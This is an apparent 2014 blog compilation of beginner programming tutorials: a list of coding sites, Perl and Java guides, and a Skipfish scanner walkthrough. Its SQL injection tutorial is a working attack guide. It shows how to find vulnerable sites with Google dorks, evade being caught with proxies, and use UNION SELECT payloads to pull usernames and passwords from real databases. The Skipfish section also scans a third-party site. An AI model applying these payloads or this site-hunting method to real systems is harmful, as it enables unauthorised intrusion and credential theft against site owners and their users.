Monday 10 November 2014

TOP 10 WEBSITES TO LEARN CODING ONLINE

1. W3schools             

    Website :- www.w3schools.com



2. Tree House 

Website :- www.teamtreehouse.com



3. Code Academy

Website :- www.codecademy.com

Website :- www.codeavengers.com



5. Code HS

Website :- www.codehs.com



6. Udacity

Website :- www.udacity.com


7. Dreamin Code

Website :- www.dreamincode.net


8. Code School

Website :- www.codeschool.com




9. Khan Academy

Website :- www.khanacademy.org


10. SQLZOO

Website :- www.sqlzoo.net


SQL Injection Tutorial For Beginners


What is a SQL Injection?

A SQL Injection is a method used by people which allows them to get inside of a MySQL database through the website.

What can I do with an SQLi?

You can extract data such as passwords, usernames, locations, and also change the site in which you can put whatever you want on it.

Is it hard to do?

At first, it may take you some time to get used to the queries. But after some practice, it's very easy.

Will I get caught?

If you are not using a proxy or VPN (Virtual Private Network), then yes there is a chance that you may be caught. I suggest reading the Proxies and Socks forum on here to learn more about what these are.

What is a dork?
A dork is a phrase that you see at the end of most URLs. In SQL Injection, you search for dorks to find a website that looks as though it may be vulnerable for injecting

Injection Tutorial
Step 1.

Search Google by typing in a dork and clicking one of the website that show up.

Common Dorks

inurl:members.php?id=
inurl:page.php?id=
inurl:login.php?id=
inurl:index.php?id=
inurl:register.php?id=
inurl:staff.php?id=
inurl:detail.php?id=
inurl:view.php?id=

Vulnerable Sites #1
Vulnerable Sites #2
Vulnerable Sites #3

So what does dork do ?
It's way of searching .
The above dorks will yield a vulnerable site that will used for testing
put the any one of the dork in google search and it will yield a vulnerable site


Step 2. Once you have found a site, it's time that we check if it is vulnerable to a SQL Injection.

So let's say we have a site like this
Quote:http://www.site.com/index.php?id=1

What we do is put a ' (single quote) after the number in order to get an error to show up on the page.
Quote:http://www.site.com/index.php?id=1'

You should get an error like "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near line 1" or something.


Step 3. After getting the error, we know it's vulnerable to SQL Injection. Now we have to find out how many columns it has. We use the "order by" function to do this


Quote:http://www.site.com/index.php?id=1 order by 10

Now, I suggest you go by 10's. If you did order by a number and it shows an error, that means to use a lower number. We need to use a number and not get any errors, then use the number right after the number we used and get an error.

So let's say we did:

order by 10 (error)
order by 7 (no error)
order by 8 (no error)
order by 9 (error)

What this means is that there are 8 columns.

Step 4. Now that we have the number of columns, it's time to figure out which column is vulnerable so that we can extract data from it. We can do this by putting a "-" minus sign after the = equals sign in the url and by using the union select function. After union select, write every number that leads to the number of columns, separated by a comma.

So here's how it should look:
Quote:http://www.site.com/index.php?id=-1 union select 1,2,3,4,5,6,7,8

After you do this, you should should get one or more of the numbers of columns in the database to show up on screen.

Step 5. Let's say a number 2 popped up on the screen. That means that column number 2 is vulnerable. Now we need to get the version of the database. We do this by using the @@version function.

Quote:http://www.site.com/index.php?id=-1 union select 1,@@version,3,4,5,6,7,8

Replace the number 2 in the url with @@version to get the version number to show up on your screen. Now the numbers that show up should either be 5.(some numbers) or 4.(some numbers).

For SQL Version 5 Injection:
Step 1. Now that we have the version number, it's time to get the name of the tables within the database. We use the group_concat(table_name) function. Since it's version 5, the tables are already in 1 big table named information_schema. We use -- to execute our command.

Quote:http://www.site.com/index.php?id=-1 union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables--

Step 2. On the screen, a bunch of names should pop up. Those are the names of the tables. Now, what you need to look for anything that might look like it contains the usernames and passwords from everyone who uses the website. Some common ones are users, admin, members, staff, user, etc.

Step 3. Once you have found something that might contain the usernames and passwords, it's time to get the name of the columns within that table. We use the group_concat(column_name) function to achieve this. And once again, in version 5, the columns are within information_schema.columns this time.

After the information_schema.columns, you need to tell the database which table you want to extract the columns. So after .columns, you put where table_name=(Name of table in hex form)
Now to convert the name of the table you're extracting from into Hex form, you need to use an online converter. What I use is Text to Hex Converter. After you have the hex, put 0x before it and copy all of the numbers/letters and paste them after the = equals sign.

So after all that it should look like this:
Quote:http://www.site.com/index.php?id=-1 union select 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_name=0x7573657273

The name of the columns should pop up on your screen.

Step 4. Now that you have the column names within the table name you chose, it's time to extract the data. Once again, we will use the group_concat function.

Let's say that the column names that showed up were username,password. To extract the information, we put group_concat(username,0x3a,password) from users-- (The table name that you chose in TEXT form not Hexed). (Note: 0x3a is the hex form of a colon, which separates the usernames and passwords so you don't get confused.) After you've done this, you're url should look like this:

Quote:http://www.site.com/index.php?id=-1 union select 1,group_concat(username,0x3a,password),3,4,5,6,7,8 from users--

Now the usernames of people should show up, then a colon, then the passwords of the usernames.


Thank you for reading

Sunday 9 November 2014

A Beginners Perl Guide



What is Perl and Why Would I Learn it?

Perl is a high-level programming language and thus has an easy to understand syntax when compared to a language such as Assembly which is Low-level. It also means it can have cross-platform independence and easier to maintain. It's a top pick for CGI-Scripts, Sysadmins and even Database Manipulation.

What do I need to start!

Perl is interpreted so instead of compiling our code like C, we use an interpreter which after installing should be either at /usr/bin/perl or /usr/bin/local/perl (Tip: If you're on a *nix system you can try the where perl command to find the interpreter). It's important to make note of this as we will be directing the computer to our interpreter, and thus in my case, scripts will start with

===========================================================
Code:

#!/usr/bin/perl
===========================================================

If you're on Linux or OS X, you'll already have some version of Perl but if you're on Windows then you'll be given a choice between ActiveState and StrawBerry.

ActiveState: Modules fetched using the Perl Package Manager, which has nearly everything you could want except for very new modules. Associated with Windows.
StrawBerry: Up to date modules and automatic updates from CPAN. Comes with MinGW (Contains gcc, make, ld and other hander tools). Associated with Unix (Due to the environment).

You'll also need a text editor, this part is all about preference.
People who want something simple should look out for NotePad++ or Gedit whereas Vim and Emacs seek for optimum customisation.

Last and final thing is to remember to enjoy yourself while programming with Perl, let it be a hobby and don't get stressed out if you don't understand something. There are plenty of knowledgeable people within and especially outside of this forum, places include PerlMonks.org or PerlGuru.com.

This tutorial will briefly cover
Hello World
Variables, Arrays and Hashes
Operations
Loops
Subroutines
Modules
Resources and Practise Sites



Your first program, Hello World

This is most likely everyone's first program starting off.

Firstly, remember to tell our computer where the interpreter is! (Note: the # symbol by itself is also used for commenting).

===========================================================
Code:

#!/usr/bin/perl

===========================================================
Now to output text to the Standard Output Stream (Known as STDOUT), we will use print(). This function will be used by us to display our string. This may remind people of how we output a string in Python 2.

===========================================================
Code:

#!/usr/bin/perl
print "Hello World!\n";

===========================================================

But wait, why is there a newline character and a semi-colon there? The answer is that Perl will not give us a newline by default using print, we use the semi-colon to mark the end of our statement. Print does not limit us to one Standard Stream, we can output our text to the Standard Error Stream (STDERR)

===========================================================
Code:

#!/usr/bin/perl
print STDERR "Hello World!\n";

===========================================================

Protip - Utilising use strict is advised strongly so you get into good practise (Aka moan about you for more or less any small thing, but you'll thank it later!) and use warningswill feed you any typos made along the way. There are utilized as follows

===========================================================
Code:

#!/usr/bin/perl
use strict;
use warnings;
*code*

===========================================================

Variables, Arrays and Hashes


In programming, we use variables mainly to store information and values.

In perl, we use the Scalar - $ symbol to define a variable. The symbol goes before the name we have assigned the variable. It is a good idea to use the word my in front of our variable for good practise, as this localizes the variable so it becomes local to the file/block/eval (Meaning if we have a variable with the word my before it within a loop, and we try to access it from outside the loop, it won't work). I've provided an example below.

Working Code

===========================================================

Code:

#!/usr/bin/perl

for ($i=0;$i<10;++$i){
my $var = "Hello Tom\n";
print "$var";
}

===========================================================

Broken Code

===========================================================
Code:

#!/usr/bin/perl

for ($i=0;$i<10;++$i){
my $var = "Hello Tom\n";
}

print "$var";
===========================================================

Arrays are effectively a list of scalars which basically means strings and also numbers . We can identify arrays with the @ symbol before the name of our array. We then assign it values in a similar manner to a variable. Here is an example below.

===========================================================
Code:

#!/usr/bin/perl
use strict;

my @array = ("Tom", 15, "America");

print "My name is $array[0], I'm $array[1] years old and I live in $array[2]";

===========================================================

Here are things you must remember. To access items individually from an array, we can use our variable symbol in combination with their place in the array being called, starting from the number 0 as shown above.

An array known as ARGV will be used to access data that was input via the command line. Here is a quick example.

===========================================================
Code:

#!/usr/bin/perl
use strict;

if ($#ARGV < 10){
print "There are less than ten arguments";
}
else {
print "There are more than 10 arguments";
}
===========================================================

Let me break this down for you, our if loop will check to see if there are less than 10 command line arguments ($#ARGV < 10) and if there are less, it will print our first string, but if there are more it will trigger else and print the second string. Another useful function relating to Arrays is push(@arrayname, "StringAddedToEnd") andpop(@arrayname) which allow you to add items to the end of an array and with pop; take them away from the end.

Hashes are a way of assigning a certain key a value. They are then called with $hash{key}. Here is an example of assigning 3 keys a value then printing them.

===========================================================
Code:

#!/usr/bin/perl
use strict;

my %family = (
'Dad' => "James",
'Mom' => "Mary",
'Sister' => "Sarah",
);

print "My father's name is $family{Dad}, my mothers name is $family{Mom} and my sisters name is $family{Sister}.";
===========================================================

Operations

Mathematical
Addition => $a = $b + $c;
Subtraction => $a = $b - $c;
Multiplication => $a = $b * $c;
Division => $a = $b / $c;
Exponent => $a = $b ** $c;
Modulo => $a = $b % $c;
Increment then return => ++$a;
Return then increment => $a++;
Decrement then return => --$a;
Return then decrement => $a--;
Add $b to $a => $a += $b;
Subtract $b from $a => $a -= $b;
Append $b to $a => $a .= $b;

String

Concatenation => $a . $b;
$a repeated $b times => $a x $b;

Loops

Loops are functions which will iterate an action until a set condition is met. I will be going over 3 types of loops. For, while and until.

For
Our syntax goes as follows for (InitializedVar;Condition;VarModifier){}. A common variable modifier (3rd expression in the for loop above), is the incrementing numerical operator. Here is an example below which will print the numbers 1 to 100.

===========================================================
Code:

#!/usr/bin/perl
use strict;

for (my $i=0;$i<=100;$i++){
print "$i\n";
}
===========================================================

It is saying that $i is set to zero and while it is less than or equal to 100, increment it. We are then printing $i as it is incremented.

While

You can do this multiple ways, having a loop that executes a statement first before checking or one that will evaluate our expression. Here is one that evaluates an expression first.

===========================================================
Code:

#!/usr/bin/perl
use strict;

my $i = 0;

while ($i <= 100) {
print "$i\n";
$i++;
}
===========================================================

And this is a while loop that will perform the statement pre-evaluation.

===========================================================
Code:

#!/usr/bin/perl
use strict;

my $i = 0;

do {
print "$i\n";
$i++;
} while $i <= 100;
===========================================================

Until

This is quite opposing of the while loop as it performs the loop until the expression is false, and when it becomes true, it finishes. You have multiple options as to what gets executed first as seen in the while example, so I will provide two examples. Here is one where the expression is tested first.

===========================================================
Code:

#!/usr/bin/perl
use strict;

my $i = 0;

until ($i > 100) {
print "$i\n";
$i ++;
}

===========================================================
And here is an until loop which will perform the statement before being evaluated.

===========================================================
Code:

#!/usr/bin/perl
use strict;

my $i = 0;

do
{
print "$i\n";
$i++;
} until $i > 100;

===========================================================
Subroutines

Subroutines are user-defined functions. They have certain properties to them, as follows:
They can be put anywhere in the main program.
Any passed-in arguments go to an array called @_.
The subroutine can be called with the ampersand (&) symbol in front of it.
The return statement is utilized to exit the subroutine

Here is an example of a subroutine utilising individual variables.

===========================================================
Code:

#!/usr/bin/perl

sub operatorz {
$addition = $_[0] + $_[1];
$subtraction = $_[0] - $_[1];
$multiplication = $_[0] * $_[1];
print "$_[0] + $_[1] = $addition\n$_[0] - $_[1] = $subtraction\n$_[0] * $_[1] = $multiplication\n";
}

&operatorz(5,5);
===========================================================

The explanation of what is happening is very simple. We have created our subroutine known as operatorz. Within this, there are several numerical operators and finally a print function. Outside of the subroutine, we are calling the subroutine with our arguments (5,5) which are passed to the subroutine. As explained beforehand, because they were passed to a sub-routine, they show in in the @_ array as @_ = (5,5); and are thus individually accessed via $_[0] for the first 5 and $_[1] for the second 5.

Modules

Modules are a set of functions exclusive to lib, which very important to us in order to make life simpler in finding what we need.

We invoke a module via the use [ModuleName] syntax, exactly the same way we use the strict module. This will go in the line after our interpreter location. You are also not restricted to using one module per perl script, so don't worry!

Here is an example of a perl script utilizing modules.


===========================================================
Code:

#!/usr/bin/perl
use LWP::Simple;
use LWP::UserAgent;
use strict;

my $site = "http://www.youtube.com/";
my $ua = LWP::UserAgent->new() or die "No UA for you!";
my $req = $ua->get($site);
if ($req->is_success){
print "Successfully accessed website\n";
exit 0;
}
else {
die "Unsuccessful :(\n";
}
===========================================================

Here's a quick explanation of what's going on. As you can see we are using the LWP modules as an API to visit youtube. LWP::UserAgent allows us to initialize a new user agent. We then use $ua->get to fetch our site. Our conditional operator if is checking to see if our modest request was successful and outputs a congratulatory string, then exits successfuly with exit 0. If in the case the operation was a failure, else will trigger and our program will print a sad string to STDERR using the die function.

Resources and Practise Sites

Learning
Perl.org
Learn.Perl.org
Perl-tutorial.org
Leeds.ac.uk (Perl v4, still a nice resource)
PerlGuru.com (Forum)
PerlMonks.org (Forum)

Practise

Test bed
Rosetta Code
Euler Project

The Java Language

[Image: vb1dQ.png]
Duke, Javas official maskot.

What is Java?


Java is a programming language originally developed by James Gosling at Sun Microsystems (which has since merged into Oracle Corporation) and released in 1995 as a core component of Sun Microsystems' Java platform. The language derives much of its syntax from C and C++, but it has fewer low-level facilities than either of them. Java applications are typically compiled to bytecode (class file) that can run on any Java virtual machine (JVM) regardless of computer architecture. Java is a general-purpose, concurrent, class-based, object-oriented language that is specifically designed to have as few implementation dependencies as possible. It is intended to let application developers "write once, run anywhere" (WORA), meaning that code that runs on one platform does not need to be recompiled to run on another. Java is as of 2012 one of the most popular programming languages in use, particularly for client-server web applications, with a reported 10 million users.
The original and reference implementation Java compilers, virtual machines, and class libraries were developed by Sun from 1991 and first released in 1995. As of May 2007, in compliance with the specifications of the Java Community Process, Sun relicensed most of its Java technologies under the GNU General Public License. Others have also developed alternative implementations of these Sun technologies, such as the GNU Compiler for Java and GNU Classpath.

Why use Java?


Because you can write applications that can run on all kinds of systems.

You can write a desktop application that can run on windows, mac, linux and solaris.

Java is used on more than 850 million machines, and you can develop applications for mobile phones, android and much more!

Classes


To declare a class, you do this. The class name is RedHat.

Code:
public class RedHat {

}

Now you have made a class in Java.

inside the class, you can add methods and fields.

Code:
public class RedHat { 
  private String name = "redpois0n";
  private int age = 18;
  private boolean male = true;
}

Now we got 3 fields in our RedHat class, called name, age, and male.

Since these fields are private, we cant access them from the outside.

Code:
RedHat hat = new RedHat();
int age = hat.age; //wont work

It wont work since the fields are private, so we need to generate getters.

Getters is a kind of method that will return the field.

So instead of getting the field directly, you call a method that will return it for you.

Code:
public class RedHat { 
  private String name = "redpois0n";
  private int age = 18;
  private boolean male = true;

  public String getName() {
  return this.name;
  }

  public int getAge() {
  return this.age;
  }

  public boolean getMale() {
  return this.male;
  }

}

Now, we can access the fields.

Code:
RedHat hat = new RedHat();
int age = hat.getAge(); //will return hat.age

But what if you want to change the fields?

Code:
public class RedHat { 
  private String name = "redpois0n";
  private int age = 18;
  private boolean male = true;

  public void setName(String name) {
  this.name = name;
  }

  public void setAge(int age) {
  this.age = age;
  }

  public void setMale(boolean male) {
  this.male = male;
  }

}

Keywords
Taken from wikipedia.

[Image: GsOyn.png]

[Image: lX2Gu.png]
abstract

The abstract keyword is used to declare a class or method to be abstract. An abstract method has no implementation; all classes containing abstract methods must themselves be abstract, although not all abstract classes have abstract methods. Objects of a class which is abstract cannot be instantiated, but can be extended by other classes. All subclasses of an abstract class must either provide implementations for all abstract methods, or must also be abstract.

assert

The assert keyword, which was added in J2SE 1.4, is used to make an assertion—a statement which the programmer believes is always true at that point in the program. If assertions are enabled when the program is run and it turns out that an assertion is false, an AssertionError is thrown and the program terminates. This keyword is intended to aid in debugging.

boolean

The boolean keyword is used to declare a field that can store a boolean value; that is, either true or false. This keyword is also used to declare that a method returns a value of type boolean.

break

Used to resume program execution at the statement immediately following the current enclosing block or statement. If followed by a label, the program resumes execution at the statement immediately following the enclosing labeled statement or block.

byte

The byte keyword is used to declare a field that can store an 8-bit signed two's complement integer. This keyword is also used to declare that a method returns a value of type byte.

case

The case keyword is used to create individual cases in a switch statement; see switch.

catch

Defines an exception handler—a group of statements that are executed if an exception is thrown in the block defined by a preceding try keyword. The code is executed only if the class of the thrown exception is assignment compatible with the exception class declared by the catch clause.

char

The char keyword is used to declare a field that can store a 16-bit Unicode character. This keyword is also used to declare that a method returns a value of type char.

class

A type that defines the implementation of a particular kind of object. A class definition defines instance and class fields, methods, and inner classes as well as specifying the interfaces the class implements and the immediate superclass of the class. If the superclass is not explicitly specified, the superclass is implicitly Object.

const

Unused, cant be used for anything

Although reserved as a keyword in Java, const is not used and has no function. For defining constants in java, see the 'final' reserved word.

continue

Used to resume program execution at the end of the current loop body. If followed by a label, continue resumes execution at the end of the enclosing labeled loop body.

default

The default can optionally be used in a switch statement to label a block of statements to be executed if no case matches the specified value; see switch.

do

The do keyword is used in conjunction with while to create a do-while loop, which executes a block of statements associated with the loop and then tests a boolean expression associated with the while. If the expression evaluates to true, the block is executed again; this continues until the expression evaluates to false.

double

The double keyword is used to declare a field that can hold a 64-bit double precision IEEE 754 floating-point number. This keyword is also used to declare that a method returns a value of type double.

else

The else keyword is used in conjunction with if to create an if-else statement, which tests a boolean expression; if the expression evaluates to true, the block of statements associated with the if are evaluated; if it evaluates to false, the block of statements associated with the else are evaluated.

enum

A Java keyword used to declare an enumerated type. Enumerations extend the base class Enum.

extends

Used in a class declaration to specify the superclass; used in an interface declaration to specify one or more superinterfaces. Class X extends class Y to add functionality, either by adding fields or methods to class Y, or by overriding methods of class Y. An interface Z extends one or more interfaces by adding methods. Class X is said to be a subclass of class Y; Interface Z is said to be a subinterface of the interfaces it extends.
Also used to specify an upper bound on a type parameter in Generics.

final

Define an entity once that cannot be changed nor derived from later. More specifically: a final class cannot be subclassed, a final method cannot be overridden, and a final variable can occur at most once as a left-hand expression. All methods in a final class are implicitly final.

finally

Used to define a block of statements for a block defined previously by the try keyword. The finally block is executed after execution exits the try block and any associated catch clauses regardless of whether an exception was thrown or caught, or execution left method in the middle of the try or catch blocks using the return keyword.

float

The float keyword is used to declare a field that can hold a 32-bit single precision IEEE 754 floating-point number. This keyword is also used to declare that a method returns a value of type float.

for

The for keyword is used to create a for loop, which specifies a variable initialization, a boolean expression, and an incrementation. The variable initialization is performed first, and then the boolean expression is evaluated. If the expression evaluates to true, the block of statements associated with the loop are executed, and then the incrementation is performed. The boolean expression is then evaluated again; this continues until the expression evaluates to false.
As of J2SE 5.0, the for keyword can also be used to create a so-called "enhanced for loop"[17], which specifies an array or Iterable object; each iteration of the loop executes the associated block of statements using a different element in the array or Iterable.

goto

Unused, cant be used for anything

Although reserved as a keyword in Java, goto is not used and has no function

if

The if keyword is used to create an if statement, which tests a boolean expression; if the expression evaluates to true, the block of statements associated with the if statement is executed. This keyword can also be used to create an if-else statement; see else

implements

Included in a class declaration to specify one or more interfaces that are implemented by the current class. A class inherits the types and abstract methods declared by the interfaces.

import

Used at the beginning of a source file to specify classes or entire Java packages to be referred to later without including their package names in the reference. Since J2SE 5.0, import statements can import static members of a class.

instanceof

A binary operator that takes an object reference as its first operand and a class or interface as its second operand and produces a boolean result. The instanceof operator evaluates to true if and only if the runtime type of the object is assignment compatible with the class or interface.

int

The int keyword is used to declare a field that can hold a 32-bit signed two's complement integer. This keyword is also used to declare that a method returns a value of type int.

interface

Used to declare a special type of class that only contains abstract methods, constant (static final) fields and static interfaces. It can later be implemented by classes that declare the interface with the implements keyword.

long

The long keyword is used to declare a field that can hold a 64-bit signed two's complement integer. This keyword is also used to declare that a method returns a value of type long.

native

Used in method declarations to specify that the method is not implemented in the same Java source file, but rather in another language.

new

Used to create an instance of a class or array/an object.

package

A group of types. Packages are declared with the package keyword.

private

The private keyword is used in the declaration of a method, field, or inner class; private members can only be accessed by other members of their own class.

protected

The protected keyword is used in the declaration of a method, field, or inner class; protected members can only be accessed by members of their own class, that class's subclasses or classes from the same package.

public

The public keyword is used in the declaration of a class, method, or field; public classes, methods, and fields can be accessed by the members of any class.

return

Used to finish the execution of a method. It can be followed by a value required by the method definition that is returned to the caller.

short

The short keyword is used to declare a field that can hold a 16-bit signed two's complement integer[7][8]. This keyword is also used to declare that a method returns a value of type short.

static

Used to declare a field, method, or inner class as a class field. Classes maintain one copy of class fields regardless of how many instances exist of that class. static also is used to define a method as a class method. Class methods are bound to the class instead of to a specific instance, and can only operate on class fields. (Classes and interfaces declared as static members of another class or interface are actually top-level classes and are not inner classes.)

strictfp

A Java keyword used to restrict the precision and rounding of floating point calculations to ensure portability.

super

Used to access members of a class inherited by the class in which it appears. Allows a subclass to access overridden methods and hidden members of its superclass. The super keyword is also used to forward a call from a constructor to a constructor in the superclass.
Also used to specify a lower bound on a type parameter in Generics.

switch

The switch keyword is used in conjunction with case and default to create a switch statement, which evaluates a variable, matches its value to a specific case, and executes the block of statements associated with that case. If no case matches the value, the optional block labelled by default is executed, if included.

synchronized

Used in the declaration of a method or code block to acquire the mutex lock for an object while the current thread executes the code. For static methods, the object locked is the class' Class. Guarantees that at most one thread at a time operating on the same object executes that code. The mutex lock is automatically released when execution exits the synchronized code. Fields, classes and interfaces cannot be declared as synchronized.

this

Used to represent an instance of the class in which it appears. this can be used to access class members and as a reference to the current instance. The this keyword is also used to forward a call from one constructor in a class to another constructor in the same class.

throw

Causes the declared exception instance to be thrown. This causes execution to continue with the first enclosing exception handler declared by the catch keyword to handle an assignment compatible exception type. If no such exception handler is found in the current method, then the method returns and the process is repeated in the calling method. If no exception handler is found in any method call on the stack, then the exception is passed to the thread's uncaught exception handler.

throws

Used in method declarations to specify which exceptions are not handled within the method but rather passed to the next higher level of the program. All uncaught exceptions in a method that are not instances of RuntimeException must be declared using the throws keyword.

transient

Declares that an instance field is not part of the default serialized form of an object. When an object is serialized, only the values of its non-transient instance fields are included in the default serial representation. When an object is deserialized, transient fields are initialized only to their default value. If the default form is not used, e.g. when a serialPersistentFields table is declared in the class hierarchy, all transient keywords are ignored.

try

Defines a block of statements that have exception handling. If an exception is thrown inside the try block, an optional catch block can handle declared exception types. Also, an optional finally block can be declared that will be executed when execution exits the try block and catch clauses, regardless of whether an exception is thrown or not. A try block must have at least one catch clause or a finally block.

void

The void keyword is used to declare that a method does not return any value.

volatile

Used in field declarations to specify that the variable is modified asynchronously by concurrently running threads. Methods, classes and interfaces thus cannot be declared volatile.

while

The while keyword is used to create a while loop, which tests a boolean expression and executes the block of statements associated with the loop if the expression evaluates to true; this continues until the expression evaluates to false. This keyword can also be used to create a do-while loop; see do.

Reserved words for literal values


false

A boolean literal value, false.

true

A boolean literal value, true.

null

A reference literal value, null is nothing.
Getting started


When you start Java, I would suggest having previous knowledge in a similar language, by that way you will have easier learning.

I had easy time learning Java since I knew basic C#.

You need
  • Java installed
  • JDK (Java Development Kit) installed
  • An IDE (Eclipse)

To install this, a simple google search can guide you there.

Java: - http://www.java.com/getjava/
JDK (Java Development Kit) - http://www.oracle.com/technetwork/java/j...index.html
Eclipse: - http://www.eclipse.org/

Now, you install all of these, of course.

Writing first application


Here you are, if you just started.

[Image: 2Q1lq.png]

You create a new Java Project.

[Image: Dyozj.png]

You open the project in the package explorer, open it, then right click the "src" folder and click "new" then "class".

You create a class like this.

[Image: txr7A.png]

public static void main(String[]) is the main entry point in a java program.

Lets write a hello world program.

[Image: YlzBs.png]

You do like that.

Now we press this button: [Image: Ao1zp.png]

The program should run, as we told it to, and print out "Hello hackforums!" in the console.

[Image: 6PLmz.png]

You just made your first hello world program!

Operators


Commonly used: (by me)

Simple Assignment Operator

= - Simple assignment operator - Used to assign things

Arithmetic Operators

+ - Additive operator (also used for String concatenation)
- - Subtraction operator
* - Multiplication operator
/ - Division operator
% - Remainder operator

Unary Operators

+ - Unary plus operator; indicates positive value (numbers are positive without this, however)
- - Unary minus operator; negates an expression
++ - Increment operator; increments a value by 1
-- - Decrement operator; decrements a value by 1
! - Logical complement operator; inverts the value of a boolean

Equality and Relational Operators

== - Equal to
!= - Not equal to
> - Greater than
>= - Greater than or equal
< - Less than
<= - Less than or equal

Conditional operators

&& - and
|| - or
?: - Ternary (shorthand for if-then-else statement)

Type Comparison Operator

instanceof - Compares an object to a specified type 

Rarely used: (by me)

Bitwise and Bit Shift Operators

~ - Unary bitwise complement
<< - Signed left shift
>> - Signed right shift
>>> - Unsigned right shift
& - Bitwise and
^ - Bitwise exclusive or
| - Bitwise inclusive or

Android

[Image: cYQR2.png]


Android is a mobile operating system made for mobile devices, most commonly smartphones and table computers.
It is currently owned and developed by google.
The android system is open source and is linux based.

You can develop and run java on android systems.

Saturday 25 October 2014

Skipfish [kali linux]

welcome!

Today we are going to see about a tool in skipfish.
skipfish is a tool in kali linux to gather information.


Skipfish is a web application security Reconnaissance tool. Skipfish prepares an  
interactive sitemap for the target using recursive crawl and dictionary-based probes. 
The resulting map provides output after being scanned by security checks


Skipfish can be found under Web Applications | Web Vulnerability Scanners as 
skipfish



When you first open Skipfish, a Terminal window will pop up showcasing the Skipfish commands. Skipfish can use built-in or customizable dictionaries for vulnerability assessment.


There are various command options available in Skipfish. To run Skipfish against a target website using a custom wordlist, enter skipfish, select your wordlist using the -W option followed by the location of the wordlist, select your output directory using -o followed by the location, and finally the target website.

==============================================================

Skipfish –o (output location) –W (location of wordlist) (target website)
==============================================================

I run a  sample over www.google.com


==============================================================
Skipfish –o /root/desktop/skipfishoutput http://www.google.com
==============================================================

If there are no compiling errors, you will be presented with a launch screen that states the will start in 60 seconds or on pressing any key.



You can press the Spacebar to see the details on the scan or watch the default numbers 
run. Scanning a target can take anywhere from 30 seconds to a few hours to complete the process. You can end a scan early by typing Ctrl + C.




Once the scan is complete or if you end it early, Skipfish will generate a ton of output files in the location specified when using the –o option to designate an output folder. To see the results, click on the index.html file, which will bring up an Internet browser. You can click through the drop-down boxes to see your results. See the example reports section for more information